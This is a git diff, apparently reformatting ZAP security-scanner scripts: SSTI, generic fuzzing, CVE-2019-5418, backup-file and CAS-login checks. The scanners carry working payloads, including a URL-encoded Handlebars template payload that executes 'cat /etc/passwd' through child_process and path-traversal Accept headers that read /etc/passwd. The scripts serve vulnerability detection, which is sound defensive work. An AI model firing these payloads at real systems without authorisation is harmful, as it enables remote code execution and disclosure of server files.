["%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d", "/bin/bash"], // Check for /bin/bash in output - "velocity": ["#set ($run=9*1371742) $run", "12345678"], // outputs 12345678 - "Velocity": ["#{set} ($run=9*1371742) $run", "12345678"], // In case 'set' is blacklisted in velocity circumvent like this, outputs 12345678 - "django": ["{% widthratio 9 1 1371742 %}", "12345678"], // outputs 12345678 - "Django": ["{% debug %}", "django"], // Check output for "django" - "Dot": ["{{=9*1371742}}", "12345678"], //Outputs 12345678 - "Dust": ['{@math key="9" method="multiply" operand="1371742"/}', "12345678"], // Outputs 12345678 - "Slim/Jade": ["#{9*1371742}", "12345678"], // Outputs 12345678 - }; - - for (var i in equationExecuteAttacks) { - - // Copy requests before reusing them - var fuzzMsg = msg.cloneRequest(); - - // Set payload and evidence - var payload = equationExecuteAttacks[i][0]; - var evidence = equationExecuteAttacks[i][1]; - - // setParam (message, parameterName, newValue) - as.setParam(fuzzMsg, param, payload); - - // sendAndReceive(msg, followRedirect, handleAntiCSRFtoken) - as.sendAndReceive(fuzzMsg, false, false); - var respBody = fuzzMsg.getResponseBody().toString(); - - if (respBody.indexOf(evidence) != -1) { - - logger("Server Side Template Injection Found! Raising Alert..."); - raiseAlert(as, fuzzMsg, payload, evidence, 3, param, i); - logger("SSTI Expression Evaluation Based Engine Detection Completed."); - return; - } + if (respBody.indexOf(evidence) != -1) { + logger("Server Side Template Injection Found! Raising Alert..."); + raiseAlert(as, fuzzMsg, payload, evidence, 3, param, i); + logger("SSTI Expression Evaluation Based Engine Detection Completed."); + return; } + } - logger("SSTI Expression Evaluation Based Engine Detection Completed."); + logger("SSTI Expression Evaluation Based Engine Detection Completed."); } function raiseAlert(as, msg, payload, evidence, confidence, param, engine) { - - var badErrors = ["Infinity", "INF"]; - - //Alert variables - var pluginId = 100033; - var alertName = "Server Side Template Injection"; - if (badErrors.indexOf(engine) == -1) { - alertName += " - " + toTitleCase(engine); - } - var alertDesc = "Server Side Template Injection (SSTI) occurs when user input is directly embedded into the template without any proper sanitization, a hacker can use this vulnerability to inject malicious code and try to achieve remote code execution."; - var alertSol = "Always use proper functions provided by the template engine to insert data, if that is not possible try to sanitize user input as efficiently as possible."; - var alertRef = "https://portswigger.net/research/server-side-template-injection"; - var cweId = 20; // Improper Input Validation - var wascId = 20; // Improper Input Handling - var alertTags = new HashMap(); - alertTags.put("OWASP_2021_A03", "https://owasp.org/Top10/A03_2021-Injection/"); - alertTags.put("OWASP_2017_A01", "https://owasp.org/www-project-top-ten/2017/A1_2017-Injection.html"); - - - as.newAlert() - .setAlertId(pluginId) - .setRisk(3) - .setConfidence(confidence) - .setName(alertName) - .setDescription(alertDesc) - .setParam(param) - .setAttack(payload) - .setEvidence(evidence) - .setSolution(alertSol) - .setReference(alertRef) - .setCweId(cweId) - .setWascId(wascId) - .setMessage(msg) - .setTags(alertTags) - .raise(); + var badErrors = ["Infinity", "INF"]; + + //Alert variables + var pluginId = 100033; + var alertName = "Server Side Template Injection"; + if (badErrors.indexOf(engine) == -1) { + alertName += " - " + toTitleCase(engine); + } + var alertDesc = + "Server Side Template Injection (SSTI) occurs when user input is directly embedded into the template without any proper sanitization, a hacker can use this vulnerability to inject malicious code and try to achieve remote code execution."; + var alertSol = + "Always use proper functions provided by the template engine to insert data, if that is not possible try to sanitize user input as efficiently as possible."; + var alertRef = + "https://portswigger.net/research/server-side-template-injection"; + var cweId = 20; // Improper Input Validation + var wascId = 20; // Improper Input Handling + var alertTags = new HashMap(); + alertTags.put( + "OWASP_2021_A03", + "https://owasp.org/Top10/A03_2021-Injection/" + ); + alertTags.put( + "OWASP_2017_A01", + "https://owasp.org/www-project-top-ten/2017/A1_2017-Injection.html" + ); + + as.newAlert() + .setAlertId(pluginId) + .setRisk(3) + .setConfidence(confidence) + .setName(alertName) + .setDescription(alertDesc) + .setParam(param) + .setAttack(payload) + .setEvidence(evidence) + .setSolution(alertSol) + .setReference(alertRef) + .setCweId(cweId) + .setWascId(wascId) + .setMessage(msg) + .setTags(alertTags) + .raise(); } function toTitleCase(str) { - return str.replace( - /\w\S*/g, - function(txt) { - return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase(); - } - ); -} \ No newline at end of file + return str.replace(/\w\S*/g, function (txt) { + return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase(); + }); +} diff --git a/active/User defined attacks.js b/active/User defined attacks.js index e2dad227..c37af322 100644 --- a/active/User defined attacks.js +++ b/active/User defined attacks.js @@ -3,124 +3,124 @@ // Replace or extend the attacks and evidence regexes with you own values. // Note that new active scripts will initially be disabled -// Right click the script in the Scripts tree and select "enable" +// Right click the script in the Scripts tree and select "enable" // Replace or extend these with your own attacks // put the attacks you most want to run higher, unless you disable the attack strength check var attacks = [ - '<>"\'%;)(&+', - '\'', - '\' --', - '|', - '!', - '?', - '/', - '//', - '//*', - '(', - ')', - '*|', - '*/*', - '{', - '}', -] + "<>\"'%;)(&+", + "'", + "' --", + "|", + "!", + "?", + "/", + "//", + "//*", + "(", + ")", + "*|", + "*/*", + "{", + "}", +]; // Replace or extend these with your own evidence - regexes that indicate potential issues // The default ones are a subset of https://github.com/fuzzdb-project/fuzzdb/blob/master/regex/errors.txt var evidence = [ - "A syntax error has occurred", - "Active Server Pages error", - "ADODB.Field error", - "An illegal character has been found in the statement", - "An unexpected token .* was found", - "ASP\\.NET is configured to show verbose error messages", - "ASP\\.NET_SessionId", - "Custom Error Message", - "database error", - "DB2 Driver", - "DB2 Error", - "DB2 ODBC", - "detected an internal error", - "Error converting data type varchar to numeric", - "Error Diagnostic Information", - "Error Report", - "Fatal error", - "Incorrect syntax near", - "Index of", - "Internal Server Error", - "Invalid Path Character", - "Invalid procedure call or argument", - "invalid query", - "Invision Power Board Database Error", - "is not allowed to access", - "JDBC Driver", - "JDBC Error", - "JDBC MySQL", - "JDBC Oracle", - "JDBC SQL", - "Microsoft OLE DB Provider for ODBC Drivers", - "Microsoft VBScript compilation error", - "Microsoft VBScript error", - "MySQL Driver", - "mysql error", - "MySQL Error", - "mySQL error with query", - "MySQL ODBC", - "ODBC DB2", - "ODBC Driver", - "ODBC Error", - "ODBC Microsoft Access", - "ODBC Oracle", - "ODBC SQL", - "OLE/DB provider returned message", - "on line", - "on MySQL result index", - "Oracle DB2", - "Oracle Driver", - "Oracle Error", - "Oracle ODBC", - "Parent Directory", - "PHP Error", - "PHP Parse error", - "PHP Warning", - "PostgreSQL query failed", - "server object error", - "SQL command not properly ended", - "SQL Server Driver", - "SQLException", - "supplied argument is not a valid", - "Syntax error in query expression", - "The error occurred in", - "The script whose uid is", - "Type mismatch", - "Unable to jump to row", - "Unclosed quotation mark before the character string", - "unexpected end of SQL command", - "unexpected error", - "Unterminated string constant", - "Warning: mysql_query", - "Warning: pg_connect", - "You have an error in your SQL syntax near", -] + "A syntax error has occurred", + "Active Server Pages error", + "ADODB.Field error", + "An illegal character has been found in the statement", + "An unexpected token .* was found", + "ASP\\.NET is configured to show verbose error messages", + "ASP\\.NET_SessionId", + "Custom Error Message", + "database error", + "DB2 Driver", + "DB2 Error", + "DB2 ODBC", + "detected an internal error", + "Error converting data type varchar to numeric", + "Error Diagnostic Information", + "Error Report", + "Fatal error", + "Incorrect syntax near", + "Index of", + "Internal Server Error", + "Invalid Path Character", + "Invalid procedure call or argument", + "invalid query", + "Invision Power Board Database Error", + "is not allowed to access", + "JDBC Driver", + "JDBC Error", + "JDBC MySQL", + "JDBC Oracle", + "JDBC SQL", + "Microsoft OLE DB Provider for ODBC Drivers", + "Microsoft VBScript compilation error", + "Microsoft VBScript error", + "MySQL Driver", + "mysql error", + "MySQL Error", + "mySQL error with query", + "MySQL ODBC", + "ODBC DB2", + "ODBC Driver", + "ODBC Error", + "ODBC Microsoft Access", + "ODBC Oracle", + "ODBC SQL", + "OLE/DB provider returned message", + "on line", + "on MySQL result index", + "Oracle DB2", + "Oracle Driver", + "Oracle Error", + "Oracle ODBC", + "Parent Directory", + "PHP Error", + "PHP Parse error", + "PHP Warning", + "PostgreSQL query failed", + "server object error", + "SQL command not properly ended", + "SQL Server Driver", + "SQLException", + "supplied argument is not a valid", + "Syntax error in query expression", + "The error occurred in", + "The script whose uid is", + "Type mismatch", + "Unable to jump to row", + "Unclosed quotation mark before the character string", + "unexpected end of SQL command", + "unexpected error", + "Unterminated string constant", + "Warning: mysql_query", + "Warning: pg_connect", + "You have an error in your SQL syntax near", +]; /** * Scans a "node", i.e. an individual entry in the Sites Tree. - * The scanNode function will typically be called once for every page. - * - * @param as - the ActiveScan parent object that will do all the core interface tasks + * The scanNode function will typically be called once for every page. + * + * @param as - the ActiveScan parent object that will do all the core interface tasks * (i.e.: sending and receiving messages, providing access to Strength and Threshold settings, * raising alerts, etc.). This is an ScriptsActiveScanner object. * @param msg - the HTTP Message being scanned. This is an HttpMessage object. */ function scanNode(as, msg) { - // Do nothing here - this script just attacks parameters rather than nodes + // Do nothing here - this script just attacks parameters rather than nodes } /** * Scans a specific parameter in an HTTP message. * The scan function will typically be called for every parameter in every URL and Form for every page. - * - * @param as - the ActiveScan parent object that will do all the core interface tasks + * + * @param as - the ActiveScan parent object that will do all the core interface tasks * (i.e.: sending and receiving messages, providing access to Strength and Threshold settings, * raising alerts, etc.). This is an ScriptsActiveScanner object. * @param msg - the HTTP Message being scanned. This is an HttpMessage object. @@ -128,68 +128,80 @@ function scanNode(as, msg) { * @param {string} value - the original parameter value. */ function scan(as, msg, param, value) { - // Debugging can be done using print like this - //print('scan called for url=' + msg.getRequestHeader().getURI().toString() + - // ' param=' + param + ' value=' + value); - - var max_attacks = attacks.length // No limit for the "INSANE" level ;) - - if (as.getAttackStrength() == "LOW") { - max_attacks = 6 - } else if (as.getAttackStrength() == "MEDIUM") { - max_attacks = 12 - } else if (as.getAttackStrength() == "HIGH") { - max_attacks = 24 - } + // Debugging can be done using print like this + //print('scan called for url=' + msg.getRequestHeader().getURI().toString() + + // ' param=' + param + ' value=' + value); - for (var i in attacks) { - // Dont exceed recommended number of attacks for strength - // feel free to disable this locally ;) - if (i > max_attacks) { - return - } - // Copy requests before reusing them - msg = msg.cloneRequest(); + var max_attacks = attacks.length; // No limit for the "INSANE" level ;) - // setParam (message, parameterName, newValue) - as.setParam(msg, param, attacks[i]); - - // sendAndReceive(msg, followRedirect, handleAntiCSRFtoken) - as.sendAndReceive(msg, false, false); + if (as.getAttackStrength() == "LOW") { + max_attacks = 6; + } else if (as.getAttackStrength() == "MEDIUM") { + max_attacks = 12; + } else if (as.getAttackStrength() == "HIGH") { + max_attacks = 24; + } - // Add any generic checks here, eg - var code = msg.getResponseHeader().getStatusCode() - if (code >= 500 && code < 600) { - raiseAlert(as, msg, param, attacks[i], code) - // Only raise one alert per param - return - } + for (var i in attacks) { + // Dont exceed recommended number of attacks for strength + // feel free to disable this locally ;) + if (i > max_attacks) { + return; + } + // Copy requests before reusing them + msg = msg.cloneRequest(); - var body = msg.getResponseBody().toString() - var re = new RegExp(evidence.join("|"), "i") - var found = body.match(re) - if (found) { // Change to a test which detects the vulnerability - raiseAlert(as, msg, param, attacks[i], found) - // Only raise one alert per param - return - } - - // Check if the scan was stopped before performing lengthy tasks - if (as.isStop()) { - return - } - } + // setParam (message, parameterName, newValue) + as.setParam(msg, param, attacks[i]); + + // sendAndReceive(msg, followRedirect, handleAntiCSRFtoken) + as.sendAndReceive(msg, false, false); + + // Add any generic checks here, eg + var code = msg.getResponseHeader().getStatusCode(); + if (code >= 500 && code < 600) { + raiseAlert(as, msg, param, attacks[i], code); + // Only raise one alert per param + return; + } + + var body = msg.getResponseBody().toString(); + var re = new RegExp(evidence.join("|"), "i"); + var found = body.match(re); + if (found) { + // Change to a test which detects the vulnerability + raiseAlert(as, msg, param, attacks[i], found); + // Only raise one alert per param + return; + } + + // Check if the scan was stopped before performing lengthy tasks + if (as.isStop()) { + return; + } + } } function raiseAlert(as, msg, param, attack, evidence) { - // Replace with more suitable information - // raiseAlert(risk, int confidence, String name, String description, String uri, - // String param, String attack, String otherInfo, String solution, String evidence, - // int cweId, int wascId, HttpMessage msg) - // risk: 0: info, 1: low, 2: medium, 3: high - // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed - as.raiseAlert(1, 1, 'Active Vulnerability Title', 'Full description', - msg.getRequestHeader().getURI().toString(), - param, attack, 'Any other info', 'The solution ', evidence, 0, 0, msg); + // Replace with more suitable information + // raiseAlert(risk, int confidence, String name, String description, String uri, + // String param, String attack, String otherInfo, String solution, String evidence, + // int cweId, int wascId, HttpMessage msg) + // risk: 0: info, 1: low, 2: medium, 3: high + // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed + as.raiseAlert( + 1, + 1, + "Active Vulnerability Title", + "Full description", + msg.getRequestHeader().getURI().toString(), + param, + attack, + "Any other info", + "The solution ", + evidence, + 0, + 0, + msg + ); } - diff --git a/active/cve-2019-5418.js b/active/cve-2019-5418.js index e04049d1..37b3c538 100644 --- a/active/cve-2019-5418.js +++ b/active/cve-2019-5418.js @@ -1,58 +1,91 @@ // Note that new active scripts will initially be disabled -// Right click the script in the Scripts tree and select "enable" +// Right click the script in the Scripts tree and select "enable" // This active scanner script checks for CVE-2019-5418 /** * Scans a "node", i.e. an individual entry in the Sites Tree. - * The scanNode function will typically be called once for every page. - * - * @param as - the ActiveScan parent object that will do all the core interface tasks + * The scanNode function will typically be called once for every page. + * + * @param as - the ActiveScan parent object that will do all the core interface tasks * (i.e.: sending and receiving messages, providing access to Strength and Threshold settings, * raising alerts, etc.). This is an ScriptsActiveScanner object. * @param msg - the HTTP Message being scanned. This is an HttpMessage object. */ function scanNode(as, msg) { - // Set some details we will need for alerts later - var alertRisk = 3 - var alertConfidence = 2 - var alertTitle = 'CVE-2019-5418 - File Content Disclosure' - var alertDesc = 'The application seems to be subject to CVE-2019-5418. \ + // Set some details we will need for alerts later + var alertRisk = 3; + var alertConfidence = 2; + var alertTitle = "CVE-2019-5418 - File Content Disclosure"; + var alertDesc = + "The application seems to be subject to CVE-2019-5418. \ By sending a specially crafted request it was possible to have the target return \ -data from the server file system.' - var alertSolution = 'Upgrade to a version of Ruby/Rails where this issue is fixed. (See references for further details).' - var alertInfo = 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5418\nhttps://github.com/mpgn/CVE-2019-5418' - var cweId = 74 //Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') - var wascId = 33 // Path Traversal - var url = msg.getRequestHeader().getURI().toString(); - - var msg2 = msg.cloneRequest(); - msg2.getRequestHeader().setHeader("Accept", "../../../../../../../../etc/passwd{{") - - as.sendAndReceive(msg2, false, true); - - var re = /root:.:0:0/g - var body = msg2.getResponseBody().toString() - - if (re.test(body)) { - as.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, - url, '', '', alertInfo, alertSolution, body.match(re)[0], cweId, wascId, msg2); - return; // No need to try further - } - // Just in case there's a simple WaF - var msg3 = msg.cloneRequest(); - msg3.getRequestHeader().setHeader("Accept", "../../../../../../../../../../../../../etc/hosts{{") - - as.sendAndReceive(msg3, false, true); - - re = /127.0.0.1/g - body = msg3.getResponseBody().toString() - if (re.test(body)) { - as.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, - url, '', '', alertInfo, alertSolution, body.match(re)[0], cweId, wascId, msg3); - } +data from the server file system."; + var alertSolution = + "Upgrade to a version of Ruby/Rails where this issue is fixed. (See references for further details)."; + var alertInfo = + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5418\nhttps://github.com/mpgn/CVE-2019-5418"; + var cweId = 74; //Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') + var wascId = 33; // Path Traversal + var url = msg.getRequestHeader().getURI().toString(); + + var msg2 = msg.cloneRequest(); + msg2 + .getRequestHeader() + .setHeader("Accept", "../../../../../../../../etc/passwd{{"); + + as.sendAndReceive(msg2, false, true); + + var re = /root:.:0:0/g; + var body = msg2.getResponseBody().toString(); + + if (re.test(body)) { + as.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + alertInfo, + alertSolution, + body.match(re)[0], + cweId, + wascId, + msg2 + ); + return; // No need to try further + } + // Just in case there's a simple WaF + var msg3 = msg.cloneRequest(); + msg3 + .getRequestHeader() + .setHeader("Accept", "../../../../../../../../../../../../../etc/hosts{{"); + + as.sendAndReceive(msg3, false, true); + + re = /127.0.0.1/g; + body = msg3.getResponseBody().toString(); + if (re.test(body)) { + as.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + alertInfo, + alertSolution, + body.match(re)[0], + cweId, + wascId, + msg3 + ); + } } function scan(as, msg, param, value) { - //Unused + //Unused } diff --git a/active/gof_lite.js b/active/gof_lite.js index 0b917f00..1e094562 100644 --- a/active/gof_lite.js +++ b/active/gof_lite.js @@ -1,117 +1,179 @@ -// The scanNode function will typically be called once for every page -// The scan function will typically be called for every parameter in every URL and Form for every page +// The scanNode function will typically be called once for every page +// The scan function will typically be called for every parameter in every URL and Form for every page // Note that new active scripts will initially be disabled -// Right click the script in the Scripts tree and select "enable" +// Right click the script in the Scripts tree and select "enable" // NOTE: This active scanner is VERY chatty, making a lot of request per URL // Under certain conditions it can greatly increase your scan time and resource consumption // Based on the Good-Old-File Extension by Hacktics: https://github.com/hacktics/good-old-files // -// This script actively scans by altering the original requested URL in an attempt to find backup or archived -// versions of web content and components. Such as http://example.com/index.html also being +// This script actively scans by altering the original requested URL in an attempt to find backup or archived +// versions of web content and components. Such as http://example.com/index.html also being // available as: http://example.com/index.html.bak // // gof_lite.js // Author: kingthorin -// 20150828 - Initial submission +// 20150828 - Initial submission // 20150923 - Add check to see and handle if the user has stopped the scan -mutationStrings=["old","conf","1","2","12","123","txt","bac","bak","backup","asd","dsa","a","aa","aaa","tar.gz","tgz","tar","7z","zip","inc","tmp","temp"]; +mutationStrings = [ + "old", + "conf", + "1", + "2", + "12", + "123", + "txt", + "bac", + "bak", + "backup", + "asd", + "dsa", + "a", + "aa", + "aaa", + "tar.gz", + "tgz", + "tar", + "7z", + "zip", + "inc", + "tmp", + "temp", +]; //If your site/app returns not found content in a 200 Ok message (tsk tsk) you can define a matching string here to be interpreted as an error response //The default setting "Sorry, we can't seem to find what you were looking for" is based upon some of the tests from WAVSEP: http://sourceforge.net/projects/wavsep/ -customErrorString = "Sorry, we can't seem to find what you were looking for" - -alertRisk = 1 -alertConfidence = 2 -alertTitle = 'Backup File Detected' -alertDesc = 'A backup or alternate version of a page or component was detected. An attacker \ -may leverage information in such files to further attack or abuse the system.' -alertSoln = 'Ensure that backups are made in locations which are not web accessible.' -cweId = 425 //Direct Request ('Forced Browsing') -wascId = 34 //Predictable Resource Location - -alertRiskDenied = 0 -alertConfidenceDenied = 1 -alertTitleDenied = 'Backup File Detected (Access Denied)' -alertDescDenied = 'A backup or alternate version of a page or component was detected, but the \ +customErrorString = "Sorry, we can't seem to find what you were looking for"; + +alertRisk = 1; +alertConfidence = 2; +alertTitle = "Backup File Detected"; +alertDesc = + "A backup or alternate version of a page or component was detected. An attacker \ +may leverage information in such files to further attack or abuse the system."; +alertSoln = + "Ensure that backups are made in locations which are not web accessible."; +cweId = 425; //Direct Request ('Forced Browsing') +wascId = 34; //Predictable Resource Location + +alertRiskDenied = 0; +alertConfidenceDenied = 1; +alertTitleDenied = "Backup File Detected (Access Denied)"; +alertDescDenied = + "A backup or alternate version of a page or component was detected, but the \ server denied access (HTTP 401 or 403). An attacker may leverage information in such files to further \ attack or abuse the system. In this case the file is of little use to an attacker, however this \ occurence may indicate that similar backups or alternatives are available elsewhere within the \ -site or app.' +site or app."; function scanNode(as, msg) { - var origMsg = msg; - var origURL = origMsg.getRequestHeader().getURI().toString(); - var origPath = origMsg.getRequestHeader().getURI().getPath(); - - //Check if no path or root slash so skip i.e.: http://example.com/ - if(origPath==null || origPath.length()==1) { - return; - } - - for (var idx in mutationStrings) { - if(as.isStop()) { //Check if the user stopped the scan - return; - } - msg = origMsg.cloneRequest(); // Copy requests before reusing them - msg.getRequestHeader().getURI().setPath(mutate(msg, '.'+mutationStrings[idx])); //TODO: handle seperators other than period - - var newURL=msg.getRequestHeader().getURI().toString(); - if(newURL.equals(origURL)) { // Don't bother if no change (perhaps the user alerady proxied a backup/alternative) - return; - } - - // sendAndReceive(msg, followRedirect, handleAntiCSRFtoken) - as.sendAndReceive(msg, false, false); - - var statusCode=msg.getResponseHeader().getStatusCode(); - switch(true) { - case (statusCode==200): - if(msg.getResponseBody().toString().contains(customErrorString)) { - break; //200 - Ok w/ custom error message content - } - raiseAlert(true, msg, origMsg, as) - break; - case (statusCode==401): //Auth Failed - case (statusCode==403): //Forbidden - raiseAlert(false, msg, origMsg, as) - break; - case (statusCode >= 500): - //500 Internal Server Error (TODO: decide how to handle this case) - default: //Other status/failure - break; - } - } + var origMsg = msg; + var origURL = origMsg.getRequestHeader().getURI().toString(); + var origPath = origMsg.getRequestHeader().getURI().getPath(); + + //Check if no path or root slash so skip i.e.: http://example.com/ + if (origPath == null || origPath.length() == 1) { + return; + } + + for (var idx in mutationStrings) { + if (as.isStop()) { + //Check if the user stopped the scan + return; + } + msg = origMsg.cloneRequest(); // Copy requests before reusing them + msg + .getRequestHeader() + .getURI() + .setPath(mutate(msg, "." + mutationStrings[idx])); //TODO: handle seperators other than period + + var newURL = msg.getRequestHeader().getURI().toString(); + if (newURL.equals(origURL)) { + // Don't bother if no change (perhaps the user alerady proxied a backup/alternative) + return; + } + + // sendAndReceive(msg, followRedirect, handleAntiCSRFtoken) + as.sendAndReceive(msg, false, false); + + var statusCode = msg.getResponseHeader().getStatusCode(); + switch (true) { + case statusCode == 200: + if (msg.getResponseBody().toString().contains(customErrorString)) { + break; //200 - Ok w/ custom error message content + } + raiseAlert(true, msg, origMsg, as); + break; + case statusCode == 401: //Auth Failed + case statusCode == 403: //Forbidden + raiseAlert(false, msg, origMsg, as); + break; + case statusCode >= 500: + //500 Internal Server Error (TODO: decide how to handle this case) + default: //Other status/failure + break; + } + } } function scan(as, msg, param, value) { - //gof_lite doesn't deal with parameters + //gof_lite doesn't deal with parameters } function mutate(msg, mutationString) { - var path = msg.getRequestHeader().getURI().getPath(); //getURI might include query, might need getPath/setPath - - if(path.toString().endsWith('/')) { //Non-root slash (root slash was skipped earlier) - var trimmedPath=path.substring(0, path.length()-1);//Everything but the final slash - var newPath = trimmedPath+mutationString+'/'; - return(newPath); - } else { //File - newPath=path+mutationString; - return(newPath); - } + var path = msg.getRequestHeader().getURI().getPath(); //getURI might include query, might need getPath/setPath + + if (path.toString().endsWith("/")) { + //Non-root slash (root slash was skipped earlier) + var trimmedPath = path.substring(0, path.length() - 1); //Everything but the final slash + var newPath = trimmedPath + mutationString + "/"; + return newPath; + } else { + //File + newPath = path + mutationString; + return newPath; + } } function raiseAlert(wasSuccess, msg, origMsg, as) { - var url = msg.getRequestHeader().getURI().toString() - if (wasSuccess==true) { //200 - as.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, - '', '', '', alertSoln, '', cweId, wascId, msg); - } else { //401 or 403 - as.raiseAlert(alertRiskDenied, alertConfidenceDenied, alertTitleDenied, alertDescDenied, url, - '', '', '', alertSoln, '', cweId, wascId, msg); - } + var url = msg.getRequestHeader().getURI().toString(); + if (wasSuccess == true) { + //200 + as.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + "", + alertSoln, + "", + cweId, + wascId, + msg + ); + } else { + //401 or 403 + as.raiseAlert( + alertRiskDenied, + alertConfidenceDenied, + alertTitleDenied, + alertDescDenied, + url, + "", + "", + "", + alertSoln, + "", + cweId, + wascId, + msg + ); + } } //TODO List //Handle various prefixes and suffixes such as: diff --git a/authentication/CasAuthentication.js b/authentication/CasAuthentication.js index 6a507a34..13b2810b 100644 --- a/authentication/CasAuthentication.js +++ b/authentication/CasAuthentication.js @@ -6,115 +6,133 @@ * Flow related parameters), and they must be included in the POST request for the authentication to work. So * this script basically sends a GET to the login page, parses its response looking for the values generated by * CAS, and sends a POST request with these values and the credentials. - * + * * This is enough to trigger the authentication, but it's not enough to enable a successful authenticated scan * with ZAP. There is one more step needed because of redirects: CAS loves them and ZAP doesn't. More details on * that can be found in the comments within the script. - * + * * Reauthentication works and a good way to achieve it is with a Logged Out Regex as something like: * \QLocation: http://your.domain/cas-server/\E.* * Unauthenticated responses will be 302 redirects to the CAS server, so this is the easiest way to identify that * there was a redirect to the CAS server and thus the user is not logged in. - * + * * @author Thiago Porciúncula * @author Hugo Baes * @author Fábio Resner */ // Imports -var HttpRequestHeader = Java.type("org.parosproxy.paros.network.HttpRequestHeader") -var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader") -var URI = Java.type("org.apache.commons.httpclient.URI") -var Pattern = Java.type("java.util.regex.Pattern") +var HttpRequestHeader = Java.type( + "org.parosproxy.paros.network.HttpRequestHeader" +); +var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader"); +var URI = Java.type("org.apache.commons.httpclient.URI"); +var Pattern = Java.type("java.util.regex.Pattern"); function authenticate(helper, paramsValues, credentials) { - print("---- CAS authentication script has started ----"); - - var loginUri = new URI(paramsValues.get("loginUrl"), false); - - // Perform a GET request to the login page to get the values generated by CAS on the response (login ticket, event id, etc) - var get = helper.prepareMessage(); - get.setRequestHeader(new HttpRequestHeader(HttpRequestHeader.GET, loginUri, HttpHeader.HTTP10)); - helper.sendAndReceive(get); - var casInputValues = getCASInputValues(get.getResponseBody().toString()); - - // Build the request body using the credentials values and the CAS values obtained from the first request - var requestBody = "username=" + encodeURIComponent(credentials.getParam("username")); - requestBody += "&password=" + encodeURIComponent(credentials.getParam("password")); - requestBody += "<=" + encodeURIComponent(casInputValues["lt"]); - requestBody += "&execution=" + encodeURIComponent(casInputValues["execution"]); - requestBody += "&_eventId=" + encodeURIComponent(casInputValues["_eventId"]); - - // Add any extra post data provided - var extraPostData = paramsValues.get("extraPostData"); - if (extraPostData != null && !extraPostData.trim().isEmpty()) { - requestBody += "&" + extraPostData.trim(); - } - - // Perform a POST request to authenticate - print("POST request body built for the authentication:\n " + requestBody.replaceAll("&", "\n ")); - var post = helper.prepareMessage(); - post.setRequestHeader(new HttpRequestHeader(HttpRequestHeader.POST, loginUri, HttpHeader.HTTP10)); - post.setRequestBody(requestBody); - post.getRequestHeader().setContentLength(post.getRequestBody().length()); - helper.sendAndReceive(post); - - /* - * At this point we are authenticated, but we are not done yet :( - * - * We have authenticated on the CAS server (let's say http://mydomain/cas-server), so when we access - * the app (i.e. http://mydomain/my-app) for the first time, we will be redirected to the CAS server. - * Since we are authenticated, the CAS server will redirect us back to the app: - * - * http://your.domain/your-app -> http://your.domain/cas-server -> http://your.domain/your-app - * - * ZAP's Spider doesn't follow redirects immediately so if the Spider access the app, it will get a - * redirect response and the page will never really be spidered. However, this redirect happens only - * at the first time we access the app after the authentication, so we could just access the app once - * before ZAP's Spider starts. - * - * This script has another parameter that should hold at least one protected page for each app that - * might be analyzed to do a simple GET for each page, ensuring no redirects will happen during our - * analysis. - */ - - // Get the protected pages - var protectedPagesSeparatedByComma = paramsValues.get("protectedPages"); - var protectedPages = protectedPagesSeparatedByComma.split(","); - - // Perform a GET request on the protected pages to avoid redirects during the scan - for (var index in protectedPages) { - var request = helper.prepareMessage(); - 